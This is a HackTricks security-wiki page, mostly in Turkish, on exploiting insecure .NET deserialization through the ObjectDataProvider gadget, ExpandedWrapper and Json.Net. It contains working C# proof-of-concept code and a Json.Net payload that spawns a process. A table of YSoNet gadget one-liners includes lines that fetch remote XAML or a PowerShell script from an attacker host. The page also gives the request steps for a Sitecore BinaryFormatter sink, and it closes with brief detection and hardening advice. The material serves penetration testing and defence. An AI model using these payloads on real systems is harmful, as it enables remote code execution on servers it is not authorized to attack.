Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edilerek RCE elde edildiğini ve Serialization kütüphaneleri Json.Net ve xmlSerializer'ın bu gadget ile nasıl kötüye kullanılabileceğini anlamaya adanmıştır.
ObjectDataProvider Gadget
Dokümantasyondan: ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Evet, tuhaf bir açıklama; o halde bu sınıfın bu kadar ilginç kılan neye sahip olduğuna bakalım: Bu sınıf rastgele bir nesneyi wrap etmeye, MethodParameters kullanarak rastgele parametreler ayarlamaya, ve ardından MethodName kullanarak belirlenen parametrelerle rastgele nesnenin rastgele bir fonksiyonunu çağırmaya olanak verir.
Bu nedenle, rastgele object serileştirilirken parametrelerle birlikte bir fonksiyonu çalıştıracaktır.
Bu nasıl mümkün
System.Windows.Data namespace'i, PresentationFramework.dll içinde C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
yolunda bulunur; ObjectDataProvider burada tanımlanıp uygulanmıştır.
dnSpy kullanarak ilgili sınıfın kodunu inceleyebilirsiniz. Aşağıdaki görselde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name kodunu görüyoruz.
Gördüğünüz gibi MethodName
ayarlandığında base.Refresh()
çağrılıyor; bunun ne yaptığına bakalım:
Tamam, şimdi this.BeginQuery()
'in ne yaptığını görmeye devam edelim. BeginQuery
ObjectDataProvider
tarafından override edilmiş ve yaptığı şey şudur:
Kodun sonunda this.QueryWorke(null)
çağrısına dikkat edin. Bunun neyi çalıştırdığını görelim:
Bu QueryWorker
fonksiyonunun tamamı değil ama ilginç kısmı gösteriyor: Kod this.InvokeMethodOnInstance(out ex);
çağrısı yapıyor; bu, ayarlanan metodun çağrıldığı satırdır.
Eğer sadece MethodName'i ayarlamanın çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType
). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process
for example). You can find more information about the DotNetNuke vuln here.
This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
This is very useful for cases as the one presented before, because we will be able to wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Json.NET'in güçlü JSON serializer'ı ile herhangi bir .NET nesnesini serialize ve deserialize etme yeteneğine sahip olduğunu belirtiyor. Yani eğer ObjectDataProvider gadget'ını deserialize edebilseydik, sadece bir nesneyi deserialize ederek bir RCE tetikleyebilirdik.
Json.Net örneği
Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl serialize/deserialize edileceğine dair bir örnek görelim:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net'in suistimali
ysoserial.net kullanarak exploit'i oluşturdum:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Bu kodda test the exploit'i deneyebilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama güvensiz .NET deserializasyonu gerçekleştirdiğinde istismar edilebilecek ÇOK SAYIDA gadget zincirinden sadece biridir. Modern red-team araçları, ör. YSoNet (ve daha eski ysoserial.net), onlarca gadget ve serileştirme formatı için kullanıma hazır kötü niyetli nesne grafikleri oluşturmayı otomatikleştirir.
Aşağıda YSoNet ile gelen en kullanışlı zincirlerin özet bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretmek için örnek komutlarla birlikte verilmiştir.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder kaydını bozar; nesne materyalize olduğunda delege herhangi bir saldırgan tarafından sağlanan metoda işaret eder (ör. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector 'ı suistimal ederek .NET ≥4.8 tip-filtrelemesini atlar ve sağlanan bir sınıfın yapıcısını doğrudan çağırır veya bir C# dosyasını anında derler | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet 'in eski XML temsilini kullanarak <ColumnMapping> / <DataType> alanlarını doldurup rastgele türler oluşturur (isteğe bağlı olarak --spoofedAssembly ile assembly'yi sahteleyebilir) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF destekli runtime'larda (> .NET 5) özellik getter'larını System.CodeDom.Compiler.CompilerResults 'a ulaşana kadar zincirler, sonra -c ile sağlanan bir DLL'i derler veya yükler | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (inceleme) | WPF System.Windows.Data.ObjectDataProvider 'ı kontrol edilen argümanlarla rastgele bir static metodu çağırmak için kullanır. YSoNet, kötü amaçlı XAML'i uzaktan barındırmak için kullanışlı bir --xamlurl varyantı ekler | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | PowerShell nesnesi deserializasyonu sırasında çalışacak şekilde ScriptBlock 'u System.Management.Automation.PSObject içine gömer | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Tüm payload'lar varsayılan olarak stdout'a yazılır; bu, bunları diğer araçlara (ör. ViewState jeneratörleri, base64 kodlayıcılar, HTTP istemcileri) yönlendirmeyi kolaylaştırır.
YSoNet'i Derleme / Kurma
Eğer Actions ➜ Artifacts / Releases altında önceden derlenmiş ikili dosyalar yoksa, aşağıdaki PowerShell tek satırlık komut bir build ortamı kurar, repository'yi klonlar ve her şeyi Release modunda derler:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
Tespit ve Sertleştirme
- Tespit edin:
w3wp.exe
,PowerShell.exe
veya kullanıcı tarafından sağlanan veriyi deserialise eden herhangi bir sürecin (ör.MessagePack
,Json.NET
) beklenmeyen alt süreçlerini. - Legacy
BinaryFormatter
/NetDataContractSerializer
kaldırılamıyorsa, type-filtering (TypeFilterLevel
= Full, özelSurrogateSelector
,SerializationBinder
, vb.) etkinleştirilip zorunlu kılın. - Mümkünse whitelist tabanlı dönüştürücüler ile
System.Text.Json
veyaDataContractJsonSerializer
'a geçin. - Hiç ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF assembly'lerinin (
PresentationFramework
,System.Workflow.*
) yüklenmesini engelleyin.
Gerçek‑dünya sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Kimlik doğrulamalı Sitecore XP Content Editor akışlarında erişilebilen pratik bir .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
içindenew BinaryFormatter().Deserialize(...)
kullanılır. - Tetikleme yolu: pipeline
convertToRuntimeHtml
→ConvertWebControls
, bu işlemid="{iframeId}_inner"
olan bir kardeş elementi arar ve base64 ile kodlanmış serileştirilmiş veri olarak muamele edilen birvalue
özniteliğini okur. Sonuç string'e dönüştürülür ve HTML'e eklenir.
Minimal uçtan uca (kimlik doğrulamalı):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). Payloads üretmek için YSoNet/ysoserial.net'e bakın.
Sitecore'da HTML cache poisoning ile pre‑auth başlayan ve bu sink'e yol açan tam bir zincir için:
Referanslar
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.